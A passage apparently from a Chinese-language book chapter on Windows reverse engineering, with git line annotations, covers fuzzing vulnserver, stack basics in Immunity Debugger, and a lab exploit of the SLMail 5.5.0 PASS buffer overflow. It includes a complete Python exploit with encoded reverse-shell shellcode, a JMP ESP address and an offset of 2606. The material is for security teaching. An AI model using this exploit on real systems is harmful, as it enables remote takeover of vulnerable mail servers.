12.md 21.2 KB
Newer Older
W
wizardforcel 已提交
1
# 十二、逆向工程 Windows 应用
W
wizardforcel 已提交
2

W
wizardforcel 已提交
3
在本章中,我们将了解如何使用 Windows 应用执行逆向工程。本章将介绍以下主题:
W
wizardforcel 已提交
4

W
wizardforcel 已提交
5
*   模糊 Windows 应用
W
wizardforcel 已提交
6 7 8 9 10 11 12 13 14
*   窗口和组件
*   Windows 和堆栈缓冲区溢出
*   Windows 和堆缓冲区溢出
*   Windows 中的格式化字符串错误

# 调试器

让我们来看看本章将要为 Windows 覆盖的调试器:

W
wizardforcel 已提交
15
*   **免疫调试器**:这是在 Windows 环境中运行并调试 Windows 应用的最著名的调试器之一。可从[下载 https://www.immunityinc.com/products/debugger/](https://www.immunityinc.com/products/debugger/) 并作为可直接运行的可执行文件提供:
W
wizardforcel 已提交
16

W
wizardforcel 已提交
17
![](img/99762647-1633-411f-ac78-d433260892d0.png)
W
wizardforcel 已提交
18 19 20

*   **奥利调试器**:可以从[下载奥利调试器 http://www.ollydbg.de/](http://www.ollydbg.de/)

W
wizardforcel 已提交
21
![](img/eac337e6-ad53-400d-8625-9dcf12a1a868.png)
W
wizardforcel 已提交
22

W
wizardforcel 已提交
23
# 模糊 Windows 应用
W
wizardforcel 已提交
24

W
wizardforcel 已提交
25
正如我们在前一章中所讨论的,模糊化是一种用于发现应用中的错误的技术,当应用遇到应用没有预料到的输入时,这些错误会导致应用崩溃。
W
wizardforcel 已提交
26 27 28 29 30

为了开始本练习,让我们设置 VirtualBox,并使用 Windows 作为操作系统。在实验室 Windows 7 机器中,让我们继续安装名为**vulnserver**的易受攻击软件。如果您在谷歌上搜索`vulnserver download`,您将获得指向易受攻击服务器的链接。

现在让我们在 VirtualBox 中加载`vulnserver`,并按如下所示运行它:

W
wizardforcel 已提交
31
![](img/c12c1857-6eba-469b-9e71-647f37d9a26a.png)
W
wizardforcel 已提交
32 33 34 35 36

现在,让我们尝试将 Linux 主机连接到 Windows 计算机,以连接到`vul`服务器。

我们可以用于模糊化的工具是 zzuf,它可以用于基于 Linux 的系统。要检查该工具是否可用,请运行以下命令:

W
wizardforcel 已提交
37
![](img/86e76679-2f8b-4fae-9c56-6463fd0cbc19.png)
W
wizardforcel 已提交
38 39 40

让我们看看当我们输入一个长字符串时它是否崩溃。我们可以通过将`aaaaaa`字符串传递给代码来检查这一点,并且可以看到它没有中断。另一种方法是运行`help`命令,在这里我们传递`help`命令并返回到终端,这样我们就可以在循环中递归地执行它。如下所示:

W
wizardforcel 已提交
41
![](img/e6521c01-c09e-4271-bbb6-9824e5795647.png)
W
wizardforcel 已提交
42 43 44 45 46

需要注意的是,如果我们希望执行带有`echo`的命令,我们可以将该命令放在反勾号`<command>`中,该命令的输出将附加到`echo`打印字符串中,例如:`echo 'hello' `python -c 'print "a"*5'``。

我们将使用此技术使目标服务器崩溃,因为执行的命令的输出将附加到`echo`的输出中,`echo`的输出通过 Netcat 作为服务器的输入。我们将执行以下代码,以查看易受攻击的服务器是否会因很长的字符串而崩溃:

W
wizardforcel 已提交
47
![](img/ec17126b-0386-4e18-b98d-1c3de47f8959.png)
W
wizardforcel 已提交
48 49 50 51 52 53 54

我们可以清楚地看到,在执行前面的命令时,程序会打印`UNKNOWN COMMAND`。基本上,这里发生的事情是`aaaaaa`在多条线路上被拆分,输入被发送到 Netcat,如下所示:`echo hello aaaaaaaaaaaaaaaaaaa | nc …`。在下一行中,剩余的`aaaa`将被打印,这将抛出`UNKNOWN COMMAND`错误。

让我们尝试将打印输出重定向到某个文本文件,然后使用`zzuf`来实际崩溃或模糊目标易受攻击的软件。

Zzuf 是一种将大字符串作为输入的工具,如`aaaaaaaaaaaaaaaaaaaaaaaaa`。它在字符串中的不同位置随机放置特殊字符,并生成一个输出,如`?aaaa@??aaaaaaaaaaa$$`。我们可以指定应修改输入的百分比,例如:

W
wizardforcel 已提交
55
![](img/e77287d6-a6db-4f9b-9814-a89371ca0ec6.png)
W
wizardforcel 已提交
56 57 58

让我们对生成的文件`fuzz.txt`使用 zzuf,看看结果是什么:

W
wizardforcel 已提交
59
![](img/00792288-d705-4522-9d70-d9ab6f5f43b7.png)
W
wizardforcel 已提交
60 61 62

我们可以指定以下百分比:

W
wizardforcel 已提交
63
![](img/8fea92e7-e1db-413b-9a2d-3ddeccc488b9.png)
W
wizardforcel 已提交
64 65 66

请注意,易受攻击的不是`vul`服务器的`HELP`命令,而是`GMON ./:/`命令。我们不希望 zzuf 工具更改命令的`GMON ./:/`部分,因此我们用`zzuf`指定`-b`(字节选项),告诉它跳过最初的 12 个字节,如以下屏幕截图所示:

W
wizardforcel 已提交
67
![](img/ab127506-ea8d-4e19-85d0-de7d0b4d4c69.png)
W
wizardforcel 已提交
68

W
wizardforcel 已提交
69
![](img/5684510c-3909-4bd3-8855-e2dc5271c612.png)
W
wizardforcel 已提交
70 71 72

让我们尝试将此文件内容作为输入提供给`vul`服务器,看看会发生什么:

W
wizardforcel 已提交
73
![](img/a6f43126-e85a-47f9-874e-366b1855cefc.png)
W
wizardforcel 已提交
74 75 76

可以看出,zzuf 工具产生的输出使另一端的`vul`服务器崩溃。请注意,zzuf 工具生成的特殊字符是众所周知的攻击负载字符,通常用于模糊化:

W
wizardforcel 已提交
77
![](img/91d27170-f32e-4500-89d4-6962b22a6a94.png)
W
wizardforcel 已提交
78 79 80 81 82

现在我们将了解如何使用脚本来尝试使`vul`服务器崩溃。我们还将在 Windows 机器上使用 Olly 调试器,以查看代码的确切中断位置。

以管理员身份启动 Olly 调试器,如下所示:

W
wizardforcel 已提交
83
![](img/be9ca5ad-d1f8-408e-9068-d261fbf7c751.png)
W
wizardforcel 已提交
84 85 86

现在,我们将使用 Olly 调试器连接正在运行的服务器。转至**文件****附**。这将打开所有正在运行的进程。我们必须转到 vulnserver 并连接它。一旦我们点击**附件**,我们会得到以下信息:

W
wizardforcel 已提交
87
![](img/a4ddecbe-9433-4c8d-bd23-3c7f9abe1bdb.png)
W
wizardforcel 已提交
88 89 90

现在,让我们回到 Linux 机器并启动我们创建的脚本:

W
wizardforcel 已提交
91
![](img/4f39af92-7721-4d49-87fc-5355ab0041da.png)
W
wizardforcel 已提交
92 93 94 95 96

执行`python fuzz.py`命令的那一刻,我们在 Python 控制台上看不到任何东西。

但是,在 Olly 调试器中的附加进程的右下角,我们看到一条黄色消息,上面写着**暂停**,这意味着附加进程/服务器的执行已暂停:

W
wizardforcel 已提交
97
![](img/b043dd4b-bc84-4577-8bd6-3aacb6b09c24.png)
W
wizardforcel 已提交
98 99 100

让我们点击播放按钮。这将执行一些代码并在另一个断点处暂停:

W
wizardforcel 已提交
101
![](img/44e51191-f652-473a-9c36-af5544e1c72e.png)
W
wizardforcel 已提交
102 103 104

需要注意的是,当写入位置`017Dxxxx`时,屏幕底部会显示`Access violation`。这意味着遇到异常,程序崩溃:

W
wizardforcel 已提交
105
![](img/3f876ff5-c42a-4090-a78f-cb3c2fbfb632.png)
W
wizardforcel 已提交
106 107 108 109 110 111 112

# 窗口和组件

在本节中,我们将学习汇编语言。我们的目标是把 C 代码翻译成汇编语言,看看会发生什么。

下面是我们将加载并使用的示例 C 代码,以了解汇编语言:

W
wizardforcel 已提交
113
![](img/ec412315-e82b-4950-a83e-dd05899c8c9c.png)
W
wizardforcel 已提交
114 115 116

我们将在免疫调试器中运行这段代码,将其编译为一个名为`Bufferoverflow.exe`的文件。让我们先用免疫调试器打开它:

W
wizardforcel 已提交
117
![](img/dedae68a-edbc-4c52-bb80-0be7935c88bd.png)
W
wizardforcel 已提交
118 119 120 121 122

请注意,在右上角,我们有一个**寄存器**部分。第一个寄存器`EAX`是累加器。在计算机的 CPU 中,累加器是一个寄存器,中间算术和逻辑结果存储在其中。在左上角,我们有实际的汇编代码,而在左下角,我们得到程序使用的内存转储。右下角包含我们正在检查的程序的堆栈区域。

如果我们向下滚动到位置`00401290`,我们可以看到`PUSH`命令。我们还可以看到 ASCII 字符串`Functionfunction`,然后是整数十六进制值。这是相反的顺序,因为这里的处理器是一个英特尔处理器,使用小端表示法,低阶字节排在第一位:

W
wizardforcel 已提交
123
![](img/7685ab34-35c9-432e-b8fb-990695805168.png)
W
wizardforcel 已提交
124 125 126 127 128

前面的屏幕截图显示了我们的`functionFunction`函数的堆栈/代码部分,该段的每条语句都代表了我们拥有的原始代码的一条语句。

如果我们再向下滚动一点,我们将看到实际的 main 方法和从那里进行的函数调用。这将在下面显示。突出显示的区域是对实际`functionFunction`函数的函数调用:

W
wizardforcel 已提交
129
![](img/006a8325-644a-4a05-a991-c7789f5231f4.png)
W
wizardforcel 已提交
130 131 132 133 134

主函数返回`0`,这是当我们将`0`移动到 EAX 寄存器时,汇编语言显示的内容。类似地,在上一个屏幕截图中,我们将值`1`移动到 EAX。

现在让我们转到**调试**并点击**参数**。从这里开始,我们将为汇编代码提供命令行参数,以便在调试器中运行它时不会出现任何错误:

W
wizardforcel 已提交
135
![](img/0c0c4eff-0555-4690-9ca6-7d9ee59b87ab.png)
W
wizardforcel 已提交
136 137 138

然后,我们需要设置某些断点,以便更彻底地理解调试器、程序控制和序列流。我们将在 main 方法的开头放置一个断点,如下所示的代码所示:

W
wizardforcel 已提交
139
![](img/14b61521-7705-4085-9954-4908e5bd2df1.png)
W
wizardforcel 已提交
140 141 142

断点在以下屏幕截图中高亮显示:

W
wizardforcel 已提交
143
![](img/283ce7e7-f565-4c01-8c3d-80c8e1cda940.png)
W
wizardforcel 已提交
144

W
wizardforcel 已提交
145
请注意,一旦我们运行应用,当代码到达这一行时,代码实际上停止了。这就是断点的含义:
W
wizardforcel 已提交
146

W
wizardforcel 已提交
147
![](img/4d24053f-ca57-4ae1-8400-5a36bc0727d1.png)
W
wizardforcel 已提交
148 149 150

在屏幕的右下角,我们看到的区域是堆栈区域。正如我们所知,每个方法都有一个专用的执行区域,其中存储了所有本地参数,并且执行了代码。这是我们定义为堆栈的区域。堆栈的第一条语句指向整个方法块成功执行后程序控件应该返回的位置。请注意,我们在屏幕顶部有四个选项,分别是**跨过**、**跨过**、**跟踪到**和**跟踪到**。我们将在前进中探索这些选项。让我们继续调用步骤,看看堆栈和调试器会发生什么:

W
wizardforcel 已提交
151
![](img/019fc4a9-d704-463e-a17a-b851c86f8b1a.png)
W
wizardforcel 已提交
152 153 154

调用 step-into 函数实际上将控件移到调试器的下一行。当这种情况发生时,不同的值被添加到程序变量中。请注意,以下行将调用`functionFunction`函数,如指定:

W
wizardforcel 已提交
155
![](img/26d70cf9-0526-4014-a425-4ed9b5e09afc.png)
W
wizardforcel 已提交
156 157 158

请注意,从主函数到`functionFunction`函数的函数调用将发生的前一个地址来自主函数的`004012EA`内存地址。调用函数时,分配给`functionFunction`的堆栈必须包含返回地址,这样一旦完成执行,它就知道应该返回的确切位置:

W
wizardforcel 已提交
159
![](img/62ecee8e-890e-4d8f-b73d-7a639f83808f.png)
W
wizardforcel 已提交
160 161 162

在右边可以看到,EIP 寄存器保存着`00401EA`地址。请注意,在右下角,语句本身的地址是堆栈上的`0060FD0`。让我们点击下一步,看看会发生什么:

W
wizardforcel 已提交
163
![](img/e49153f7-9453-48e4-b7f2-5b2702c2008d.png)
W
wizardforcel 已提交
164 165 166 167 168

可以看出,函数被调用的那一刻,它的堆栈被更新,并表示代码应该在执行后返回到`004012EF`地址。`004012EF`地址是主功能`functionFunction`的下一个指令地址。请注意,由于 IP 包含要执行的下一条指令的地址,因此它现在包含`00401290`地址,这是`Functionfunction`函数的起始地址。一旦完成执行,堆栈顶部的内容将弹出(`004012EF`,IP 将使用此地址更新,以便从最后停止的位置检索程序执行。

单击 next 两次后,我们会看到第一条语句,将整数值分配给`functionFunction`方法中的变量,将被执行。最后,当我们点击或到达 return 语句或`functionFunction`方法的末尾时,我们将看到堆栈顶部将包含如下屏幕截图所示的返回地址:

W
wizardforcel 已提交
169
![](img/b174c3f3-eb3e-4d45-9b7e-0f3449d97f9f.png)
W
wizardforcel 已提交
170 171 172 173 174

我们可以点击 next,直到程序退出 main 方法。这就是程序在正常情况下的执行方式,我们称之为行为执行。在下一节中,我们将看到如何使程序行为不端。

让我们看看当我们通过提供超过预期长度的参数来溢出缓冲区时,在汇编语言的代码级别会发生什么。我们将在以下代码中添加九个以上的字符:

W
wizardforcel 已提交
175
![](img/dfb45afc-5ddf-49ca-99f2-a21e634b21e6.png)
W
wizardforcel 已提交
176 177 178

我们现在将把断点保留在 main 方法中,就像我们之前所做的那样。我们将在运行代码时到达断点,如下所示:

W
wizardforcel 已提交
179
![](img/9e1655f4-5874-4245-9063-16bfd0c25041.png)
W
wizardforcel 已提交
180 181 182

在下一行中,我们将把值`112233`复制到局部变量。然后我们将调用`Functionfunction`函数,当我们对提供的参数执行`strcpy`时,`bufferoverflow`实际发生在`10`大小的本地缓冲区:

W
wizardforcel 已提交
183
![](img/84c7b8df-c026-4f13-a0b9-2c19c423372a.png)
W
wizardforcel 已提交
184 185 186

如前面的屏幕截图所示,我们传递的字符串被放置在寄存器中,并将被传递到`functionFunction`。突出显示的行后面的行是实际的函数调用:

W
wizardforcel 已提交
187
![](img/b204e0a1-d9ea-4fd5-8aca-4b4359b41e8d.png)
W
wizardforcel 已提交
188 189 190

在突出显示的行中可以看到,正在执行的操作是`strcpy(Localstring2,param)`,这意味着 EAX 寄存器的值将被移动到位置`SS:[EBP +8]`。当我们执行前面的命令时,我们会注意到我们给出的大值将被加载到堆栈中。我们可以在以下屏幕截图的右下角看到:

W
wizardforcel 已提交
191
![](img/f17604eb-d2ec-41d6-ab96-4b3d5c18b114.png)
W
wizardforcel 已提交
192 193 194

现在,将要执行的下一行是当前高亮显示的函数之后的`strcpy`函数。我们可以在右下角看到`strcpy`函数的堆栈:

W
wizardforcel 已提交
195
![](img/0532e48f-9ac2-4ff6-9970-b31eebf5c0b5.png)
W
wizardforcel 已提交
196 197 198

`strcpy`函数中有几个缓冲区和内存位置。当我们将值写入长度为 10 的缓冲区时,缓冲区溢出,剩余的值溢出并写入堆栈的其他内存位置。换句话说,堆栈中的其他内存位置会被溢出的内容覆盖。在这种情况下,包含堆栈返回地址的内存位置(一旦执行完成)将被覆盖,因此代码将以异常结束。这是幕后实际发生的情况,如下面的屏幕截图所示。在屏幕截图的底部,我们可以看到访问冲突异常描述了这一点:

W
wizardforcel 已提交
199
![](img/0eda79ff-2c5e-4825-befd-6ea37550331b.png)
W
wizardforcel 已提交
200 201 202

# 利用 Windows 中的缓冲区溢出

W
wizardforcel 已提交
203
SLMail 5.5.0 邮件服务器软件中存在已知的缓冲区溢出漏洞。让我们下载应用(从以下 URL:[https://slmail.software.informer.com/5.5/ 双击`exe`安装程序,在 Windows 中安装](https://slmail.software.informer.com/5.5/)。安装后,在 Windows 7 虚拟机中运行它,如下所示:
W
wizardforcel 已提交
204

W
wizardforcel 已提交
205
![](img/1b3cc5c9-fa3d-492f-bb14-f3f26c4efb78.png)
W
wizardforcel 已提交
206 207 208

现在,让我们将正在运行的程序附加到免疫调试器,并使用简单的 Python fuzzer 使程序崩溃,如下所示:

W
wizardforcel 已提交
209
![](img/2a6d93c9-123a-44da-9484-57645bbd470e.png)
W
wizardforcel 已提交
210 211 212

下面的屏幕截图描述了我们点击**附加**后加载的代码:

W
wizardforcel 已提交
213
![](img/a17119b9-b04d-4bdb-9d6e-6f4c97a88845.png)
W
wizardforcel 已提交
214 215 216

让我们使用一个用 Python 编写的简单模糊器来尝试破解此代码:

W
wizardforcel 已提交
217
![](img/b13b2a87-5990-4d56-93e6-edb8c4aa22d9.png)
W
wizardforcel 已提交
218

W
wizardforcel 已提交
219
现在,让我们运行代码以查看它在何处中断电子邮件应用以及崩溃时的缓冲区值:
W
wizardforcel 已提交
220

W
wizardforcel 已提交
221
![](img/44567dfa-40c1-4020-99a1-351cc20bd4dc.png)
W
wizardforcel 已提交
222 223 224 225 226

可以看出,在字节号`2700`和`2900`之间的某个地方发生了访问冲突异常。此时,EIP 指令寄存器的值被传递的字符串`A`覆盖,该字符串的十六进制值为`41414141`。

为了让我们计算出`2900`字节有效负载内的确切位置,我们将使用 Metasploit`generate.rb`模块,如下所示:

W
wizardforcel 已提交
227
![](img/a689b76b-126d-4efd-b167-a5697760fdd0.png)
W
wizardforcel 已提交
228 229 230

让我们将这个唯一生成的字符串放在一段 Python 代码中,以便为我们重新运行该漏洞,以便我们可以在崩溃时看到 EIP 中的唯一值:

W
wizardforcel 已提交
231
![](img/1f3f607c-b515-479d-8fa6-842091349b33.png)
W
wizardforcel 已提交
232 233 234

让我们在 Windows 中重新启动服务,并再次将其连接到调试器。最后,我们将运行 Python 代码来利用它,如下所示:

W
wizardforcel 已提交
235
![](img/29672b62-2de3-4c45-95ae-f0fd5ca467a2.png)
W
wizardforcel 已提交
236 237 238

可以清楚地看到,在崩溃时,EIP 寄存器中的值为`39694438`。这将是一个地址,可以告诉我们有效载荷的偏移量,其计算如下所示:

W
wizardforcel 已提交
239
![](img/6f6255f2-c601-4e7d-b6ac-15805a5046d6.png)
W
wizardforcel 已提交
240 241 242 243 244 245 246

可以看出,导致碰撞的确切偏移量恰好位于`2606`。在崩溃时,所有传递的值都存储在 ESP 寄存器中,这使得 ESP 成为保持有效负载的潜在候选。如果我们发送一个高达 2600 字节的有效负载,然后尝试在 EIP 中注入一条指令,跳转到 ESP,那么将执行的将是有效负载。有两种方法可以做到这一点。我们知道 EIP 保存下一条要执行的指令的地址,可以看出,崩溃时 ESP 寄存器的地址是`01C8A128`。直觉上,我们想到的想法是将这个地址放在 2600 字节之后,但由于**地址空间布局随机化**(**ASLR**),这是一个针对操作系统的内存保护过程,通过随机将系统可执行文件加载到内存中的位置来防止缓冲区溢出攻击,但这种简单的技术不起作用。

相反,让我们寻找一个内存地址,该地址将包含一条指令,如 JMP ESP。由于该位置位于堆栈之外,因此每当程序崩溃时,它不会受到 ASLR 的影响。我们将使用`mona`脚本,该脚本作为 Python 模块附带一个免疫调试器,用于在整个 DLL 过程中搜索任何指令,在我们的例子中,该脚本相当于`jmp esp`的十六进制。mona 脚本可从[下载 https://github.com/corelan/mona](https://github.com/corelan/mona) ,可直接放置在 Windows 内的以下路径:`C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`。

让我们使用 Metasploit Ruby 脚本计算`jmp esp`的十六进制等价物,如下所示:

W
wizardforcel 已提交
247
![](img/1170644b-80eb-4e22-b683-1adc9806c0db.png)
W
wizardforcel 已提交
248 249 250

因此,我们将在免疫调试器和`mona`脚本中搜索`\xff\xe4`,以找到`jmp`位置,如下所示:

W
wizardforcel 已提交
251
![](img/cb4986e8-b335-494e-ba8a-d0f9695698f3.png)
W
wizardforcel 已提交
252 253 254

我们有很多点击率,但让我们看第一个,那就是`0x5f4a358f`。下一步是生成利用代码,在机器上为我们提供一个反向 shell,并将该利用代码放在自定义 Python 脚本中,以将负载发送到服务器。需要注意的是,在生成攻击代码时,我们将对其进行编码并转义某些错误字符,以确保其正常工作:

W
wizardforcel 已提交
255
![](img/14470d44-58b2-42d9-abc7-8b9eb0678fee.png)
W
wizardforcel 已提交
256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312

生成前面的有效负载后,让我们创建一个 Python 脚本,该脚本将导致该漏洞。我们将通过`mona`脚本使用之前发现的`jmp esp`位置。还应注意,由于对有效载荷进行了编码,因此将使用几个字节进行解码,并且将使用几个字节进行填充:

```
#!/usr/bin/python    
import socket        
buffer=["A"]    
counter=100
buf =  ""
buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf"
buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d"
buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\x4e"
buf += "\x10\x5a\x52\x61\xa1\xf7\xa6\xe0\x21\x0a\xfb\xc2\x18"
buf += "\xc5\x0e\x03\x5c\x38\xe2\x51\x35\x36\x51\x45\x32\x02"
buf += "\x6a\xee\x08\x82\xea\x13\xd8\xa5\xdb\x82\x52\xfc\xfb"
buf += "\x25\xb6\x74\xb2\x3d\xdb\xb1\x0c\xb6\x2f\x4d\x8f\x1e"
buf += "\x7e\xae\x3c\x5f\x4e\x5d\x3c\x98\x69\xbe\x4b\xd0\x89"
buf += "\x43\x4c\x27\xf3\x9f\xd9\xb3\x53\x6b\x79\x1f\x65\xb8"
buf += "\x1c\xd4\x69\x75\x6a\xb2\x6d\x88\xbf\xc9\x8a\x01\x3e"
buf += "\x1d\x1b\x51\x65\xb9\x47\x01\x04\x98\x2d\xe4\x39\xfa"
buf += "\x8d\x59\x9c\x71\x23\x8d\xad\xd8\x2c\x62\x9c\xe2\xac"
buf += "\xec\x97\x91\x9e\xb3\x03\x3d\x93\x3c\x8a\xba\xd4\x16"
buf += "\x6a\x54\x2b\x99\x8b\x7d\xe8\xcd\xdb\x15\xd9\x6d\xb0"
buf += "\xe5\xe6\xbb\x17\xb5\x48\x14\xd8\x65\x29\xc4\xb0\x6f"
buf += "\xa6\x3b\xa0\x90\x6c\x54\x4b\x6b\xe7\x9b\x24\x89\x67"
buf += "\x73\x37\x6d\x99\xd8\xbe\x8b\xf3\xf0\x96\x04\x6c\x68"
buf += "\xb3\xde\x0d\x75\x69\x9b\x0e\xfd\x9e\x5c\xc0\xf6\xeb"
buf += "\x4e\xb5\xf6\xa1\x2c\x10\x08\x1c\x58\xfe\x9b\xfb\x98"
buf += "\x89\x87\x53\xcf\xde\x76\xaa\x85\xf2\x21\x04\xbb\x0e"
buf += "\xb7\x6f\x7f\xd5\x04\x71\x7e\x98\x31\x55\x90\x64\xb9"
buf += "\xd1\xc4\x38\xec\x8f\xb2\xfe\x46\x7e\x6c\xa9\x35\x28"
buf += "\xf8\x2c\x76\xeb\x7e\x31\x53\x9d\x9e\x80\x0a\xd8\xa1"
buf += "\x2d\xdb\xec\xda\x53\x7b\x12\x31\xd0\x8b\x59\x1b\x71"
buf += "\x04\x04\xce\xc3\x49\xb7\x25\x07\x74\x34\xcf\xf8\x83"
buf += "\x24\xba\xfd\xc8\xe2\x57\x8c\x41\x87\x57\x23\x61\x82"
buffer='A'*2606 + '\x8f\x35\x4a\x5f' + "\x90"*8 +buf

if 1:    
   print"Fuzzing PASS with %s bytes" %    len(string)    
   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    
   connect=s.connect(('192.168.250.158',110))    
   data=s.recv(1024)    
   s.send('USER root \r\n')        
   data=s.recv(1024)
   print str(data)    
   s.send('PASS    ' + buffer + '\r\n')    
   #data=s.recv(1024)
   #print str(data)    
   print "done"
   #s.send('QUIT\r\n')        
   s.close()    

```

现在,当我们将服务或进程的运行实例附加到调试器并执行我们创建的脚本时,我们从具有`bufferoverflow`的受害机器获得反向 shell。这里描述了这一点:

W
wizardforcel 已提交
313
![](img/e2d10261-b3b6-4e64-950e-bf039f7395ba.png)
W
wizardforcel 已提交
314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333

这就是我们如何利用 Windows 中的缓冲区溢出漏洞的方法。

如果我们继续在本机 Windows 环境中编译程序(在前一章的堆缓冲区溢出部分中给出),并使用长参数运行它,那么我们就可以利用 Windows 中的堆缓冲区溢出。

# 总结

我们在这里演示了与前一章相同的步骤,但是在 Windows 环境中。Windows 和 Linux 环境中的概念基本相同,但堆栈和寄存器的实现可能略有不同。因此,精通这两种环境中的开发非常重要。在下一章中,我们将在 Python 和 Ruby 中开发漏洞,以扩展 Metasploit 框架的功能。

# 问题

1.  我们如何自动利用 Windows 中的缓冲区溢出漏洞?
2.  我们可以做些什么来避免操作系统强加的高级保护,例如在 Windows 中禁用堆栈上的代码执行?
3.  为什么 Windows 和 Red Hat 中的寄存器不同?

# 进一步阅读

*   堆栈缓冲区溢出 SLmail:[https://www.exploit-db.com/exploits/638/](https://www.exploit-db.com/exploits/638/)
*   堆缓冲区溢出:[https://www.win.tue.nl/~aeb/Windows/hh/hh-11.html](https://www.win.tue.nl/~aeb/Windows/hh/hh-11.html)
*   字符串格式漏洞:[https://null-byte.wonderhowto.com/how-to/security-oriented-c-tutorial-0x14-format-string-vulnerability-part-i-buffer-overflows-nasty-little-brother-0167254/](https://null-byte.wonderhowto.com/how-to/security-oriented-c-tutorial-0x14-format-string-vulnerability-part-i-buffer-overflows-nasty-little-brother-0167254/)